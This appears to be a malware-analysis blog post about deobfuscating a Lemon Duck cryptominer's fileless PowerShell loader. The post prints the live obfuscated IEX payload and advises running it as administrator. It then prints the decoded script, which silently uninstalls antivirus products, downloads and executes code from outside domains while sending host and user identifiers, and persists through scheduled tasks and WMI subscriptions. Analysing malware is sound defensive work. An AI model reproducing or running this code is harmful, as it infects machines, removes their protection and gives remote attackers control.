How to deobfuscate malware using Powershell

I have been given a task about fileless malware attacks that contains of Lemon-Duck cryptominer based on the analysis done on the obfuscated code given. The file came out with .jsp extension that contains obfuscated Powershell code.

For our infomation, fileless malware is an attack that occur by methods such as embedding malicious code in scriptsor loading malware into memory without writing to disk. Powershell can run a script directly in memory and is increasingly being used to perpetrate filelss attacks. Since the file never get copied to the disk, it is easy to bypass endpoint security that typically depends on the file input/output(IO) to detect threats

$v='mail';
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7e7df7d903ffb2c4d3fbaf3f1effdf127dfbfb7fbbda745599ece9bdfed93efef7e6f5694cf4fbfddfc6ee9d638fd993b7b0fbf5f1f7f7bfabdef7ffea2a8dbd7df1bddd9bd2f9f7cf2a9f9657f67577edbda3a9d66e5cbbc1edff9f877fb78f4f1ce8b871fbb8f1edeeb82b22f7eb2677fbbb71b01f61b27bf7192de493ffee4e33bfbf7be4f3fea6c7ef2bdef5fbc38abdf00d0c307dfe74f3eb90738fcdbdeaefe66e0bc1adff9f4a17ce45e7c70a0cd774df34f76b491f7defcfc17dd3b98d3bf34fa3d6d47487cb26fbaddf13ef5dedba78f7bc81298879fd3a7e7f48b6bfaf01e7dd4c56ecfc07ff8a9fd5648d5479068cd083edcd776077644f7154cf8c2b3bb69d6b4afd2657b37cddbbccc6777d3e66d93b5f4dd27f4fff9b401d9a9d9ee40bb694358699bbdacd1f7d0d4fcda7f03cd7fe3e4edb42a279f2dabc27436cdd2fbf7763f6beb6aa59f94fa33a3a6e96ada7e5656d3aaadea55ba2c3eab8b59fae5c58a5eb95ee633faedb39c505964cb342fd7752aafd227bf6836cbd2b2ccaef2ba38b7bf5cd287f3a6cd97820ab533d8008dfd7d46a344c78a83f66f70eda1b1bfcf681020c284fed586f922a33f14a79b31b9779f3b6ea7f972594dd3dd31fff759d3e435bd6c3e7eb877fffea7dc7099b74d51a6fb9755bb7fc9f0afdf1162f82acda7d9799db7cb22cddfe563ee82e70a98d1ff7fe364f6fac553fde3b5c0c4209572bfe862592cf355c5a07cc40906006a2b819b4e6996dfd137f978b6986220bfc4eb279fd6d5b3dfe3f7f83dd2dd345f97d94f6ea74f5f7df9dda769beba7eb36dba23d26394ab4575929793ac299e82ac0d0d804858672fafbff3aece2febfcf5325b2cb3e7f467934f0b7c40bfb6f9ebb2aadb6545289cb4cbbcaed727d7df51c8efbe387df3faf741b3475f3cffbdbe4d50d3799bbddc4eaf5b08268db17ea94d17797bb64dc0527a7814f28b1dc9fd7495e765b3ddd659db4015a5f270db3bbf8440d3f08bc5d5eee5ef954eb78964f95cdfa5815c1121a7779951dbac5c2df237f9b2783ea3f1d0980fe9734c13bd4f88eedd234c2059d7cdf577e8c7bbe6aa9a19892aae3094290019e8d4844604bab5eb69feeef45044e1453e6f77e9b7cbdfeb136acd6f10315ffce2df336d30f465be585fd4c7db2034387f55d4d366b26e40d0aaaa4128e2a1558377b6d39a61ae9b65050a03eaa9877fda345979b24d2f2c8934cb39949b11c0b362f15d5075ebb33a17008777564692dad7294bdd715dd5f5e976fa4b40896f9f9e8300d7af7fffd75f120fbffcfdb3367b3a333cd7b6d982388abfd8bbb72cbe4bcdd3e3d767d4394685fecfdafc82b5ee9bf4f4d5e9b7bf9beeec7c7a2f7d71f6ed3767df4d09fd4bfaf214e2405d6746a68bf362868fbed0419cfdfebf7ffac597af9e61a2bf95be39397dae2d4f5f8394d775befe09fd04483fff89ef32852fb2f5c512526f9a5343fc264a61fd1368bb77b92830d1983821f56720f56b901ae8d10ceaf4c9dc9d0773673801f38751d2ff65169d2cc526d3bc35cd56afcd9cb625bd5c3ce33e69b8e12cd2c4d1b776eedab27826fddf8e710ceb4b5fa44f66cbe209b1807ece9c50bd01f6b9b101d483c5c2f1b687cf778d781ab1bb4393bf6a7e7a9c65f4cbe8dba7fa967c461f6d1126e50a1ec49dfb5b8443dd02d3f19a084badcff7bef2da50576836daf11b2a406dbfebb71f37ab05cd10bdf67b7de604df436e99bd224654c3a4d3e9be57c8bf71f28bef34c0c7dacc22c59f5bf36996d7d5b901a65f924ade2c32d4992f354c5e92187d9d05c770822f3f78edcc529ad036c2a38d5586a8198b111823358a00e8642c3f2c3c8edb03311219b2c2432d4418444ba00f2742f8f202024aaa1e72e60bcd80c4d04764a3266f696e26a1b8dc8e5d3d99d8201096013125bff8ce6e5b54339a2c2552da56cbedadf3025f7e6c9c008cee97fce2f9d4307936fd25f8fe4bc8eeca90f7f4dc204f9f4e6846187fe0c6089d6bb3ed94be8a0c0253c883c07407e3c0076e280a663b255fe2a7275f9e7d61669786f5f967bb06450c8a7ffd187afc523ffdbd78ccd75039ad38713c905ff263f837b08d3ff66332c2d5122c4f389e2f0de85dfdc96283f1c1a9f458665d5b4f515b2ab45dd3817eecfaf925f687fc04adc13a537c62bf92dfcad248f472bb5d570f3f3fbf431f2d217e76c27ed168271d994fdd2ffbe9e84e548b384aa93e01cd9dda09f5c98022d19ea14f7eaf1191e5e91727bfffeb97f4cb967e639a968bdf7b0cf2304ac624d28c9b0fb7e8e79b1a7ee10579f9753e331e6c0546a4063f6669f163bff8ce9da0ab665964e4459d8cadd08c89d7dcdc90738c1ece0b0be2175fd72dfdaa5d989ffc4d7a47ff6a445b01545b2c8bf3fc29e1aadfc938c84715d75b3f4527a9aa3fd3d11d526f851938bdf09650d211db965ef77776b7c045fac91be26ea645754e2f7c66a8e6204a27a0c6b961591084b514bdf5ac3594fe7c7c59376d0328044f3f14b01d36edf1a72535f9868e65520a1b66c53cbd127f118ea242a5afab156b0092108aafe8ef50a29cde3172b4f3695a2deeea87e9e99baf5e9c7d914e1bc46044a2a995acc6cd99cc55de94791ae2a9df035dead96117e0d443c879211e423e26048b0d559342d23b78614eed84678dd856e637674ee9a3f4b3943b53f2fe127c0199bbf84c90f8c518ce2fb923edb73e713a1661035ce9e2bbf49b7eda9e57afab7a5a7c4110a0771504778fbee9e35f7c672ffd45f9767aef7777b6aa3092c02848570ad182d8d5b7b4ad7eadaf505fe8cebacabfc8bcb513be65858b3994f54723fe81bef6e53be6d2e5d9a347dfbfceea3afb1ed1072f1b42aa77e1dc0ac7602c374e89776c2848ad136d3f9669dddba579a5af83a9ed3359c05c910e0cabc43b21f8dccf8dfca360eea68e9884034c8087869d50fd532db76fb2d972a879bed34195f52ad408beb0ea417483a71414aad18d0c694b02f713db0a9f6af43aa6cc004536d3d7a9cd83c0305348656cf4f655fe8226d47f979c5e0c74514dc70fd7f72693712bceaf7c52e76f7f30a6effd0f41cbfade0f7ec02db77ecfcf982578c877ee7cfabbdf59904c64afe0036c7df2e916f9756bf4ef3e8599dcdbdb1d8f1f3ca4e4d8787cffd34f1edc1f8f0ff6b7befffdef5162895275cba2fae9ed7459afdb5cfc4b9e8a5f7c674b44030a1e384d97eb7343deba6a33e38b92bd5a168bd93174cbf7f3b27a453ea87e5516eb272ab5e3325b155332a62fc7d76d5153b0fbfa7b5bd2ba39e394165e20824b0e8030874cb405fd3d3bebc320842c98efdb8fc1387e53851af4aa9f7d6febb34c26453ff88d13a2ef9db26649cb0eef88907f4b7e3089ee08b16b23bea3a7675f7d35be63677f3da37c84b8f264c5d7488888972eec505194b10dad363afde2f8c5ab5383c9578f2e973974837cfce6ab975f7c79c29f6903c2e7f72455c888fc1ef4ff4f2ea935fee648e9ae7ca1dfef7d25bad07dc2ee8afbf3eedd47abb69df31f460d7d26a3fe25bfe497dc99d04fc3183ce8ad77f977ab9f22a067bfd84ed29d3bdfdf7d402cb5f3bd19373724f5d849fca6d7fb9fe64df66451195e794693dad6c6221befd4444fd594d2a62499c52511128da85be54611b9aa5d5dd727bbc7df7e3dbe36199455565f207bc45fd14f4cb47e45f3adbf91e38f39704a4684736b34e1d9a668ebfabca02cd5b8164543690efce292580ac74b712ecec6083ba9d9a145d9c7f2f8f52b4292b1e3bfc7f0be95073dfdf0197a3cdcdd79b733dac13ff8ed3362fa65b57a773a061686153fdbd9cdbe3d7bfe2545c8869c0f5e7dfafb9ce5e7bb3fbd7b39fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bf08a2bcffea07ef96f7a6c7af7fea607af5f6d54ebd738f5cc6e793f5f3d5c1eec1f362faf4bb3baf7e9fbb6fa0b0f7ea7bbfd78345f9eddfe76c5ab43f78f383cbbd172fee7d71f5f0ecd9cb9fde7f5b7ff77cefd39f6cbf3d59bf582edebcb877975eb93cb8bc982d56bff793ddcf2f7feff583ddeabb8b3d67c7a1c48437f423cb22c21bf22981f945f9a5c7179f35fafbda38c5246daeed1742a9c6b2964e9b4c02b5f0e7c134e9cf0503f9fe94fe1d8fef3dd865f6fe0c2cf28befd09f690b0f663bc5f70a03f102710bb4ee74ccada792b63bbc73676bb6ccabd6389a19471477b616f44bdbe4e459537aae267530be63e304ff43564362234197265fffa2bc9ee45763e3cf62d8cbefc19065f92b1874007e0dc58854f699c254d543a333c4dcda6af2f67a62dde28bf1c1796b222bea0ad91e02504d97f9d8a8b67779fb3dfd95befa6cc614114529ee3f990670a86455d4d051cbd3f3d9ec8b2faee9f9fde5cf541280dbb0fe4fc56891d9803efb3de8e767f48b76c3302030f0c5c9d559926f92bfab2617cd02c9666db532c2b826f78284a60477379476b864ff1669d99d9d1d8a8d966bb2fb799d5d95d917db64538e390b4d6490cfe8ad2f9c5bb9fb4b1d85c136f54b581bcadc9ec0c491974419236dcaeec025e21fc779a4ff96ec10b5dcb19988d2ad89003722d7efae1f18cb44a424fdf2e277ff3632026f6971807878892e73027ea549408ae4606756bc3480c4553aa1a173565b30f351eae282dfb477edfbfc776fd675f19320894187baff18993b8bc1c758195124a47743fe5b224100627828142586a1c2d0f0b9677de5c3877ffebb43295c66bfbbd34c839d767a335c39dc21b5409f0ab9df75db64e8d9756938e3869ebd6ef50de95dfff091d08f86066f59ef2da9cc5593fd5ebffb00d9c1093773dcc7589db24450d89b88dfe6cde9c689ee756748647b9d439571a6e2f7c677dfdfb9f7bdd3c597df6e5ed25a2aad84ef7deff48b2fe7aff157ba958ed38fb768c9fc301d6fa5bfdb65fe6a5235f9cbfaf49cb2a42f4ef2f19b2f5fb7f5d9f262ebcef77647f7beff09adac6fff7475b6fcf8e33bd4c7e779bb7d79fcea2c9b3c3f4dd3f2ea414e99dd3be3cbacfc2affde36f941db5be9e656e3325f7efe669edef9fef64f7f59bc20b0bf71f2ff00'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

First, we need to open Powershell and run it as administrator mode.

After that, we can load the script into Powershell and execute the code.

Next, after we are done with the code execution on Powershell, let’s go through the Event Viewer and navigate to Application and Service Logs -> Microsoft -> Windows Logs -> Windows Powershell -> Operational. There are many logs listed in the log but i choose to only focus on the latest log which contains the latest code that executed by the computer just a few minutes ago. Here we will see some suspicious mode which is the file that we have deobfuscated using the Powershell before.

Deobfuscated code

Creating Scriptblock text (1 of 1):
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive


cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive


cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart


$v="?$v"+(Get-Date -Format '_yyyyMMdd')


$tmps='function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2''+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*'');a($url)'


$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")


function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))}


$us=@('t.zz3r0.com','t.zker9.com','t.bb3u9.com')


$stsrv = New-Object -ComObject Schedule.Service


$stsrv.Connect()


try{


$doit=$stsrv.GetFolder("\").GetTask("blackball")


}catch{}


if(-not $doit){


	if($sa){


		schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"


	} else {


		schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"


	}


	foreach($u in $us){


		$i = [array]::IndexOf($us,$u)


		if($i%3 -eq 0){$tnf=''}


		if($i%3 -eq 1){$tnf=getRan}


		if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}


		$tn = getRan


		if($sa){


			schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -c PS_CMD"


		} else {


			schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"


		}


		start-sleep 1


		$folder=$stsrv.GetFolder("\$tnf")


		$taskitem=$folder.GetTasks(1)


		foreach($task in $taskitem){


			foreach ($action in $task.Definition.Actions) {


				try{


					if($action.Arguments.Contains("PS_CMD")){	


						$folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, $null)|out-null


					}


				}catch{}


			}


		}


		start-sleep 1


		schtasks /run /tn "$tnf\$tn"


		start-sleep 5


	}


}



try{


$doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'"


}catch{}


if(-not $doit1){


    Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop


    foreach($u in $us){


        $theName=getRan


        $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')


        Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop);Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;ExecutablePath="c:\windows\system32\cmd.exe";CommandLineTemplate="/c powershell -c $wmicmd"})}


        start-sleep 5


    }


    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force


}


cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd


netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53


netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block


netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block



schtasks /delete /tn Rtsa2 /F


schtasks /delete /tn Rtsa1 /F


schtasks /delete /tn Rtsa /F

ScriptBlock ID: 3df5c879-b2f1-445b-b32d-782eb5eed39f
Path: